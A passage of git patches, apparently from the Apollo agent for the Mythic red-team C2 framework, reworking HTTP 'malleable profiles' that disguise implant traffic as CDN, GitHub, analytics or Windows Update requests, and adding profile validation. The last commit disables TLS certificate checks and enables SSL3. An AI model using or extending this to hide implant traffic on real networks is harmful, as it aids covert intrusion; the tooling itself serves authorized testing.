992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}}" + "value": "/*! Bootstrap v5.3.2 | MIT License */" }, { "action": "xor", @@ -69,8 +61,8 @@ "value": "" }, { - "action": "netbiosu", - "value": "" + "action": "append", + "value": "/* End Bootstrap */" } ] } @@ -99,10 +91,6 @@ "name": "" }, "transforms": [ - { - "action": "netbios", - "value": "" - }, { "action": "xor", "value": "cdnPostDelivery2024" @@ -125,23 +113,19 @@ "transforms": [ { "action": "prepend", - "value": "/*! Bootstrap v5.3.2 | MIT License | https://getbootstrap.com */" + "value": "/*! Bootstrap v5.3.2 | MIT License */" }, { - "action": "append", - "value": "@media (min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}}" + "action": "xor", + "value": "cdnPostResponse2024" }, { "action": "base64", "value": "" }, { - "action": "netbios", - "value": "" - }, - { - "action": "xor", - "value": "cdnPostResponse2024" + "action": "append", + "value": "/* End Bootstrap */" } ] } diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json index d8d7f8ab..897a2838 100644 --- a/malleable-profile-examples/cloud-analytics.json +++ b/malleable-profile-examples/cloud-analytics.json @@ -31,6 +31,10 @@ "name": "filter" }, "transforms": [ + { + "action": "prepend", + "value": "filter=" + }, { "action": "xor", "value": "analyticsQueryKey2024" @@ -38,10 +42,6 @@ { "action": "base64url", "value": "" - }, - { - "action": "prepend", - "value": "filter=" } ] }, @@ -59,23 +59,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"status\":\"success\",\"data\":{\"metrics\":{\"totalEvents\":" + "value": "{\"status\":\"success\",\"data\":" }, { - "action": "append", - "value": ",\"uniqueUsers\":1234,\"avgSessionDuration\":180.5,\"timestamp\":\"2024-04-15T12:00:00Z\"},\"meta\":{\"page\":1,\"limit\":100}}}" + "action": "xor", + "value": "analyticsResponseKey2024" }, { "action": "base64", "value": "" }, { - "action": "xor", - "value": "analyticsResponseKey2024" - }, - { - "action": "netbiosu", - "value": "" + "action": "append", + "value": "}" } ] } @@ -106,10 +102,6 @@ "name": "" }, "transforms": [ - { - "action": "netbios", - "value": "" - }, { "action": "xor", "value": "trackEventSecret2024" @@ -117,14 +109,6 @@ { "action": "base64", "value": "" - }, - { - "action": "prepend", - "value": "{\"events\":[{\"type\":\"pageview\",\"properties\":" - }, - { - "action": "append", - "value": ",\"timestamp\":\"2024-04-15T12:00:00Z\",\"userId\":\"user123\"}],\"context\":{\"ip\":\"192.168.1.1\",\"userAgent\":\"Mozilla/5.0\"}}" } ] }, @@ -140,91 +124,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"status\":\"success\",\"message\":\"Events processed\",\"eventIds\":[\"evt-" - }, - { - "action": "append", - "value": "\"],\"processedAt\":\"2024-04-15T12:00:00Z\",\"count\":1}" - }, - { - "action": "base64", - "value": "" - }, - { - "action": "netbios", - "value": "" + "value": "{\"status\":\"success\",\"message\":\"Events processed\",\"data\":" }, { "action": "xor", "value": "trackResponseSecret2024" - } - ] - } - }, - "patch": { - "verb": "PATCH", - "uris": [ - "/v1/analytics/users/update", - "/api/v2/configurations/preferences" - ], - "client": { - "headers": { - "Accept": "application/json", - "Accept-Encoding": "gzip, deflate, br", - "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", - "Connection": "keep-alive", - "Content-Type": "application/json", - "If-Match": "\"abc123\"", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" - }, - "parameters": null, - "message": { - "location": "cookie", - "name": "sessionId" - }, - "transforms": [ - { - "action": "base64url", - "value": "" }, { - "action": "xor", - "value": "patchUpdateKey2024" - }, - { - "action": "netbiosu", + "action": "base64", "value": "" - } - ] - }, - "server": { - "headers": { - "Content-Type": "application/json; charset=utf-8", - "Server": "nginx/1.24.0", - "ETag": "\"xyz789\"", - "X-Request-Id": "req-def456ghi789", - "Cache-Control": "private, no-cache" - }, - "transforms": [ - { - "action": "prepend", - "value": "{\"status\":\"updated\",\"resource\":{\"id\":\"" }, { "action": "append", - "value": "\",\"updatedAt\":\"2024-04-15T12:00:00Z\",\"version\":2}}" - }, - { - "action": "netbiosu", - "value": "" - }, - { - "action": "xor", - "value": "patchResponseKey2024" - }, - { - "action": "base64url", - "value": "" + "value": "}" } ] } diff --git a/malleable-profile-examples/enterprise-data-management.json b/malleable-profile-examples/enterprise-data-management.json index 99dcdcc4..6583fc40 100644 --- a/malleable-profile-examples/enterprise-data-management.json +++ b/malleable-profile-examples/enterprise-data-management.json @@ -27,10 +27,6 @@ "name": "X-Request-ID" }, "transforms": [ - { - "action": "netbios", - "value": "" - }, { "action": "xor", "value": "enterpriseDataKey2024" @@ -54,23 +50,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"result\":{\"items\":" + "value": "{\"result\":" }, { - "action": "append", - "value": "},\"pagination\":{\"page\":1,\"totalPages\":15,\"itemsPerPage\":50},\"timestamp\":\"2025-04-15T12:00:00Z\"}}" + "action": "xor", + "value": "enterpriseResponseKey2024" }, { "action": "base64url", "value": "" }, { - "action": "xor", - "value": "enterpriseResponseKey2024" - }, - { - "action": "netbios", - "value": "" + "action": "append", + "value": "}" } ] } @@ -106,18 +98,6 @@ { "action": "base64", "value": "" - }, - { - "action": "netbiosu", - "value": "" - }, - { - "action": "prepend", - "value": "{\"operation\":\"backup\",\"config\":" - }, - { - "action": "append", - "value": ",\"scheduled\":true,\"created\":\"2025-04-15T12:00:00Z\"}" } ] }, @@ -133,23 +113,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"status\":\"accepted\",\"operationId\":\"backup-xyz123\",\"message\":\"Backup operation queued\",\"estimatedCompletion\":\"2025-04-15T13:00:00Z\",\"details\":" - }, - { - "action": "append", - "value": "}" + "value": "{\"status\":\"accepted\",\"operationId\":\"backup-xyz123\",\"data\":" }, { - "action": "netbiosu", - "value": "" + "action": "xor", + "value": "backupResponseSecret2024" }, { "action": "base64", "value": "" }, { - "action": "xor", - "value": "backupResponseSecret2024" + "action": "append", + "value": "}" } ] } diff --git a/malleable-profile-examples/github-api.json b/malleable-profile-examples/github-api.json index ffca6e1b..39e4cf19 100644 --- a/malleable-profile-examples/github-api.json +++ b/malleable-profile-examples/github-api.json @@ -27,10 +27,6 @@ "name": "X-GitHub-Request-Id" }, "transforms": [ - { - "action": "netbiosu", - "value": "" - }, { "action": "xor", "value": "ghubSecret2024" @@ -54,23 +50,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"data\":{\"repository\":{\"commits\":{\"nodes\":[" + "value": "{\"data\":" }, { - "action": "append", - "value": "]}},\"rateLimit\":{\"limit\":5000,\"remaining\":4999,\"resetAt\":\"2024-04-15T12:00:00Z\"}}}" + "action": "xor", + "value": "ghubResponse2024" }, { "action": "base64url", "value": "" }, { - "action": "xor", - "value": "ghubResponse2024" - }, - { - "action": "netbiosu", - "value": "" + "action": "append", + "value": "}" } ] } @@ -103,21 +95,9 @@ "action": "xor", "value": "ghubPostSecret" }, - { - "action": "netbios", - "value": "" - }, { "action": "base64", "value": "" - }, - { - "action": "prepend", - "value": "{\"title\":\"Issue\",\"body\":\"" - }, - { - "action": "append", - "value": "\",\"labels\":[\"bug\"],\"assignees\":[]}" } ] }, @@ -134,81 +114,19 @@ "transforms": [ { "action": "prepend", - "value": "{\"id\":12345,\"url\":\"https://api.github.com/repos/owner/repo/issues/123\",\"number\":123,\"state\":\"open\",\"created_at\":\"2024-04-15T12:00:00Z\",\"body\":\"" - }, - { - "action": "append", - "value": "\",\"user\":{\"login\":\"octocat\",\"id\":1,\"type\":\"User\"}}" - }, - { - "action": "base64", - "value": "" - }, - { - "action": "netbios", - "value": "" + "value": "{\"id\":12345,\"url\":\"https://api.github.com/repos/owner/repo/issues/123\",\"body\":" }, { "action": "xor", "value": "ghubServerKey" - } - ] - } - }, - "put": { - "verb": "PUT", - "uris": [ - "/api/v3/repos/owner/repo/contents/path/to/file", - "/api/v3/user/starred/owner/repo" - ], - "client": { - "headers": { - "Accept": "application/vnd.github.v3+json", - "Accept-Encoding": "gzip, deflate, br", - "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", - "Connection": "keep-alive", - "Content-Type": "application/json", - "User-Agent": "GitHub-Hookshot/461e8be" - }, - "parameters": null, - "message": { - "location": "body", - "name": "" - }, - "transforms": [ - { - "action": "base64url", - "value": "" }, { - "action": "xor", - "value": "putContentKey" - } - ] - }, - "server": { - "headers": { - "Content-Type": "application/json; charset=utf-8", - "Server": "GitHub.com", - "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5679", - "ETag": "\"abc123def456\"" - }, - "transforms": [ - { - "action": "prepend", - "value": "{\"content\":{\"name\":\"file.txt\",\"path\":\"path/to/file\",\"sha\":\"" + "action": "base64", + "value": "" }, { "action": "append", - "value": "\",\"size\":1024,\"url\":\"https://api.github.com/repos/owner/repo/contents/path/to/file\"}}" - }, - { - "action": "xor", - "value": "putResponseKey" - }, - { - "action": "base64url", - "value": "" + "value": "}" } ] } diff --git a/malleable-profile-examples/windows-update-service.json b/malleable-profile-examples/windows-update-service.json index e8691dd7..94600deb 100644 --- a/malleable-profile-examples/windows-update-service.json +++ b/malleable-profile-examples/windows-update-service.json @@ -27,10 +27,6 @@ "name": "rev" }, "transforms": [ - { - "action": "netbios", - "value": "" - }, { "action": "xor", "value": "windowsUpdateKey2025" @@ -54,23 +50,19 @@ "transforms": [ { "action": "prepend", - "value": "MSCF\u0000\u0000\u0000\u0000" + "value": "MSCF" }, { - "action": "append", - "value": "\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000" + "action": "xor", + "value": "windowsUpdateResponse2025" }, { "action": "base64", "value": "" }, { - "action": "xor", - "value": "windowsUpdateResponse2025" - }, - { - "action": "netbios", - "value": "" + "action": "append", + "value": "\u0000\u0000" } ] } @@ -97,10 +89,6 @@ "name": "data" }, "transforms": [ - { - "action": "netbiosu", - "value": "" - }, { "action": "xor", "value": "wsusReportKey2025" @@ -125,23 +113,19 @@ "transforms": [ { "action": "prepend", - "value": "Update Report Submitted
" + "value": "
" }, { - "action": "append", - "value": "
" + "action": "xor", + "value": "wsusResponseKey2025" }, { "action": "base64", "value": "" }, { - "action": "netbiosu", - "value": "" - }, - { - "action": "xor", - "value": "wsusResponseKey2025" + "action": "append", + "value": "
" } ] } From 4d969e018d0b613aef145bff7345a7041a6f9571 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:51:21 +0100 Subject: [PATCH 34/37] Not all base64 is eq --- .../agent_code/HttpxTransform/HttpxConfig.cs | 38 +++++++++++++++++++ .../cdn-asset-delivery.json | 2 +- .../cloud-analytics.json | 2 +- .../windows-update-service.json | 2 +- 4 files changed, 41 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index d723b099..d1c46a5d 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -279,6 +279,44 @@ public void Validate() if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) throw new ArgumentException($"Invalid {method} server transform action: {transform.Action}"); } + + // Validate encoding consistency: client and server must use matching base64/base64url encoding + // Find the last encoding transform in client transforms (base64 or base64url) + string clientEncoding = null; + if (variation.Client?.Transforms != null) + { + foreach (var transform in variation.Client.Transforms) + { + string action = transform.Action?.ToLower(); + if (action == "base64" || action == "base64url") + { + clientEncoding = action; + } + } + } + + // Find the first encoding transform in server transforms (base64 or base64url) + // Server transforms are applied in reverse order, so we check from the end + string serverEncoding = null; + if (variation.Server?.Transforms != null) + { + // Check transforms in reverse order (as they're applied) + for (int i = variation.Server.Transforms.Count - 1; i >= 0; i--) + { + string action = variation.Server.Transforms[i].Action?.ToLower(); + if (action == "base64" || action == "base64url") + { + serverEncoding = action; + break; // Found the first encoding transform (last in list, first applied) + } + } + } + + // If both client and server have encoding transforms, they must match + if (clientEncoding != null && serverEncoding != null && clientEncoding != serverEncoding) + { + throw new ArgumentException($"{method} encoding mismatch: client uses {clientEncoding} but server uses {serverEncoding}. Client and server encoding transforms must match."); + } } } } diff --git a/malleable-profile-examples/cdn-asset-delivery.json b/malleable-profile-examples/cdn-asset-delivery.json index eab636c7..e1dd01ef 100644 --- a/malleable-profile-examples/cdn-asset-delivery.json +++ b/malleable-profile-examples/cdn-asset-delivery.json @@ -57,7 +57,7 @@ "value": "cdnResponseKey2024" }, { - "action": "base64", + "action": "base64url", "value": "" }, { diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json index 897a2838..c60d1e4d 100644 --- a/malleable-profile-examples/cloud-analytics.json +++ b/malleable-profile-examples/cloud-analytics.json @@ -66,7 +66,7 @@ "value": "analyticsResponseKey2024" }, { - "action": "base64", + "action": "base64url", "value": "" }, { diff --git a/malleable-profile-examples/windows-update-service.json b/malleable-profile-examples/windows-update-service.json index 94600deb..ff07602e 100644 --- a/malleable-profile-examples/windows-update-service.json +++ b/malleable-profile-examples/windows-update-service.json @@ -57,7 +57,7 @@ "value": "windowsUpdateResponse2025" }, { - "action": "base64", + "action": "base64url", "value": "" }, { From 0d92797c0a45501863cdd0d4f521751694ffa775 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:59:37 +0100 Subject: [PATCH 35/37] Align with the HTTPx profile server code --- .../agent_code/HttpxProfile/HttpxProfile.cs | 14 ++++---- .../agent_code/HttpxTransform/HttpxConfig.cs | 34 ++++++++++++++----- .../cloud-analytics.json | 4 --- 3 files changed, 32 insertions(+), 20 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index fe009eb2..9540c205 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -364,7 +364,7 @@ public bool SendRecv(T message, OnResponse onResponse) // Select HTTP method variation based on message size // Default behavior: use POST for large messages (>500 bytes), GET for small messages - // Only supports GET, POST, and PUT methods + // Only supports GET and POST methods VariationConfig variation = null; #if DEBUG DebugWriteLine($"[SendRecv] Message size: {messageBytes.Length} bytes"); @@ -372,16 +372,16 @@ public bool SendRecv(T message, OnResponse onResponse) if (messageBytes.Length > 500) { #if DEBUG - DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST/PUT variation"); + DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST variation"); #endif - // Try POST, then PUT in order until we find a valid configuration - variation = Config.GetConfiguredVariation("post") ?? Config.GetConfiguredVariation("put"); + // Try POST for large messages + variation = Config.GetConfiguredVariation("post"); - // Fall back to GET if no large-message methods are configured + // Fall back to GET if POST is not configured if (variation == null) { #if DEBUG - DebugWriteLine("[SendRecv] No POST/PUT configured, falling back to GET"); + DebugWriteLine("[SendRecv] No POST configured, falling back to GET"); #endif variation = Config.GetConfiguredVariation("get"); } @@ -650,7 +650,7 @@ public bool SendRecv(T message, OnResponse onResponse) break; } - // Write request body for POST/PUT + // Write request body for POST if (requestBodyBytes != null && requestBodyBytes.Length > 0) { #if DEBUG diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index d1c46a5d..ed402ca4 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -102,19 +102,15 @@ public class HttpxConfig [JsonProperty("post")] public VariationConfig Post { get; set; } - [JsonProperty("put")] - public VariationConfig Put { get; set; } - public HttpxConfig() { Get = new VariationConfig(); Post = new VariationConfig(); - Put = new VariationConfig(); } /// /// Get variation configuration by HTTP method name (case-insensitive) - /// Only supports GET, POST, and PUT methods + /// Only supports GET and POST methods /// public VariationConfig GetVariation(string method) { @@ -125,7 +121,6 @@ public VariationConfig GetVariation(string method) { case "get": return Get; case "post": return Post; - case "put": return Put; default: return null; } } @@ -223,12 +218,11 @@ public void Validate() // Validate transform actions var validActions = new[] { "base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append" }; - // Validate all configured HTTP methods (only GET, POST, PUT are supported) + // Validate all configured HTTP methods (only GET and POST are supported) var variations = new Dictionary { { "GET", Get }, - { "POST", Post }, - { "PUT", Put } + { "POST", Post } }; foreach (var kvp in variations) @@ -264,6 +258,14 @@ public void Validate() { if (!Array.Exists(validLocations, loc => loc == variation.Client.Message.Location)) throw new ArgumentException($"Invalid {method} message location: {variation.Client.Message.Location}"); + + // Message name is required when location is not "body" or empty string + string location = variation.Client.Message.Location?.ToLower() ?? ""; + if (location != "body" && location != "") + { + if (string.IsNullOrEmpty(variation.Client.Message.Name)) + throw new ArgumentException($"Missing name for {method} variation location '{variation.Client.Message.Location}'. Message name is required when location is 'cookie', 'query', or 'header'."); + } } // Validate client transforms @@ -271,6 +273,20 @@ public void Validate() { if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) throw new ArgumentException($"Invalid {method} client transform action: {transform.Action}"); + + // Prepend/append transforms are not allowed when message location is "query" + // The query parameter name is handled separately, and prepend/append would corrupt the data + // when the server extracts only the query value (without the parameter name) + string transformAction = transform.Action?.ToLower(); + if (variation.Client?.Message != null && + variation.Client.Message.Location?.ToLower() == "query" && + (transformAction == "prepend" || transformAction == "append")) + { + throw new ArgumentException( + $"{method} client transforms cannot use '{transform.Action}' when message location is 'query'. " + + "Prepend/append transforms corrupt query parameter values because the server extracts only the parameter value " + + "(without the parameter name), causing transform mismatches. Use prepend/append only for 'body', 'header', or 'cookie' locations."); + } } // Validate server transforms diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json index c60d1e4d..a4387865 100644 --- a/malleable-profile-examples/cloud-analytics.json +++ b/malleable-profile-examples/cloud-analytics.json @@ -31,10 +31,6 @@ "name": "filter" }, "transforms": [ - { - "action": "prepend", - "value": "filter=" - }, { "action": "xor", "value": "analyticsQueryKey2024" From c450d2aa9af6dbf4c542ea8d13f74bcbc1777e72 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 16:14:14 +0100 Subject: [PATCH 36/37] First attempt at pre-compile profile validation --- .../apollo/mythic/agent_functions/builder.py | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 690bb4b7..45d74a4b 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -15,6 +15,123 @@ from mythic_container.MythicRPC import * +def validate_httpx_config(config_data): + """ + Validate httpx configuration to match C# HttpxConfig.Validate() logic. + Returns None if valid, error message string if invalid. + """ + valid_locations = ["cookie", "query", "header", "body", ""] + valid_actions = ["base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append"] + + # Check name is required + if not config_data.get("name"): + return "Configuration name is required" + + # Check at least GET or POST must be configured + get_config = config_data.get("get", {}) + post_config = config_data.get("post", {}) + + get_uris = get_config.get("uris", []) + post_uris = post_config.get("uris", []) + + if not get_uris and not post_uris: + return "At least GET or POST URIs are required" + + # Validate each configured method (GET and POST only) + variations = { + "GET": get_config, + "POST": post_config + } + + for method, variation in variations.items(): + if not variation: + continue + + # Check if method is actually configured + is_configured = ( + variation.get("verb") or + (variation.get("uris") and len(variation.get("uris", [])) > 0) or + (variation.get("client") and ( + (variation["client"].get("headers") and len(variation["client"].get("headers", {})) > 0) or + (variation["client"].get("parameters") and len(variation["client"].get("parameters", {})) > 0) or + (variation["client"].get("transforms") and len(variation["client"].get("transforms", [])) > 0) or + variation["client"].get("message", {}).get("location") + )) or + (variation.get("server") and ( + (variation["server"].get("headers") and len(variation["server"].get("headers", {})) > 0) or + (variation["server"].get("transforms") and len(variation["server"].get("transforms", [])) > 0) + )) + ) + + if not is_configured: + continue + + # Validate URIs + uris = variation.get("uris", []) + if not uris or len(uris) == 0: + return f"{method} URIs are required if {method} method is configured" + + # Validate message location and name + client = variation.get("client", {}) + message = client.get("message", {}) + if message: + location = message.get("location", "") + if location not in valid_locations: + return f"Invalid {method} message location: {location}" + + # Message name is required when location is not "body" or empty string + if location and location != "body": + if not message.get("name"): + return f"Missing name for {method} variation location '{location}'. Message name is required when location is 'cookie', 'query', or 'header'." + + # Validate client transforms + client_transforms = client.get("transforms", []) + for transform in client_transforms: + action = transform.get("action", "").lower() + if action not in valid_actions: + return f"Invalid {method} client transform action: {transform.get('action')}" + + # Prepend/append transforms are not allowed when message location is "query" + if message.get("location", "").lower() == "query" and action in ["prepend", "append"]: + return ( + f"{method} client transforms cannot use '{transform.get('action')}' when message location is 'query'. " + "Prepend/append transforms corrupt query parameter values because the server extracts only the parameter value " + "(without the parameter name), causing transform mismatches. Use prepend/append only for 'body', 'header', or 'cookie' locations." + ) + + # Validate server transforms + server = variation.get("server", {}) + server_transforms = server.get("transforms", []) + for transform in server_transforms: + action = transform.get("action", "").lower() + if action not in valid_actions: + return f"Invalid {method} server transform action: {transform.get('action')}" + + # Validate encoding consistency: client and server must use matching base64/base64url encoding + client_encoding = None + for transform in client_transforms: + action = transform.get("action", "").lower() + if action in ["base64", "base64url"]: + client_encoding = action + + server_encoding = None + # Server transforms are applied in reverse order, so check from the end + for transform in reversed(server_transforms): + action = transform.get("action", "").lower() + if action in ["base64", "base64url"]: + server_encoding = action + break + + # If both client and server have encoding transforms, they must match + if client_encoding and server_encoding and client_encoding != server_encoding: + return ( + f"{method} encoding mismatch: client uses {client_encoding} but server uses {server_encoding}. " + "Client and server encoding transforms must match." + ) + + return None # Validation passed + + class Apollo(PayloadType): name = "apollo" file_extension = "exe" @@ -308,6 +425,13 @@ async def build(self) -> BuildResponse: resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" return resp + # Validate the httpx configuration before building + validation_error = validate_httpx_config(config_data) + if validation_error: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Invalid httpx configuration: {validation_error}" + return resp + # Store the parsed config for Apollo to use # Base64 encode to avoid C# string escaping issues import base64 From 61c858a2e7cc3bf4088431e8f39af97d17a27130 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Mon, 10 Nov 2025 18:44:07 +0100 Subject: [PATCH 37/37] Added support for old tls/SSL and selfsigned certs --- .../apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 9540c205..f1b46f3a 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -129,6 +129,12 @@ public HttpxProfile(Dictionary data, ISerializer serializer, IAg #endif LoadHttpxConfig(rawConfig); + + // Disable certificate validation on web requests (accept self-signed/invalid certs) + ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; + // Enable TLS protocols: TLS 1.2, TLS 1.1, TLS 1.0, and SSL 3.0 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3; + #if DEBUG DebugWriteLine("[HttpxProfile] Constructor complete"); #endif